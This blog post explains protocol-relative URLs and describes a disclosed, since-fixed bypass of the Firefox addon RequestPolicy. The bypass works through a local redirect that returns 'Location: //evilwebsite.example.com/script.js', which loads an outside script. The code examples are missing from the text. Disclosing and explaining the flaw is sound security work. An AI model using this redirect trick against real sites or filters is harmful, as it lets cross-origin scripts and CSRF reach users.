Most web developers don’t seem to know what a protocol relative URL is, or rather, they don’t consider them when parsing URLs. In the past week, I’ve found two separate security holes because protocol relative URLs weren’t considered. The first was mentioned in my article about security problems with a new site called Convore. The second allows a complete bypass of the security restrictions provided by the Firefox addon, “RequestPolicy“, which has 10’s of thousands of users (ref).
A protocol relative URL is a really simple to understand concept. If I wanted to link to https://www.facebook.com/ from the page you’re currently reading (which uses the https protocol), instead of creating an anchor tag like this:
I can create an anchor tag like this:
Because the URL starts with two slashes and doesn’t specify the protocol, it prefixes the current protocol in use. This isn’t just for anchor tags. This is for any resource that you load in a web page, and even works in HTTP Location and Refresh headers.
Now, onto the RequestPolicy hack…
Responsible disclosure: I reported this to the RequestPolicy author to give them a chance to fix it before publishing. It has been fixed in the latest beta version (0.5.19b1). If you can’t wait for the stable version to be released with the fix, then you can join the beta channel by installing the latest beta.
If I link to a resource in a different origin, using a script tag or similar, RequestPolicy blocks it by default. Example:
You’re thinking I’m just going to turn that into a protocol relative URL, but no, that’s not it. RequestPolicy still handles protocol relative URLs there fine. However, if I link to a local resource instead:
And if that “redirect_to_evil_script.cgi” file simply prints out this:
Location: //evilwebsite.example.com/script.js Status: 302
Then the script from a different origin loads, without RequestPolicy blocking it. Add a protocol to that URL, and RequestPolicy blocks it as expected. One of the main features of RequestPolicy is that it prevents CSRF attacks, but using this method would let the CSRF through.
The mistake that developers make is assuming that a URL starting with a ‘/‘ doesn’t cross origins.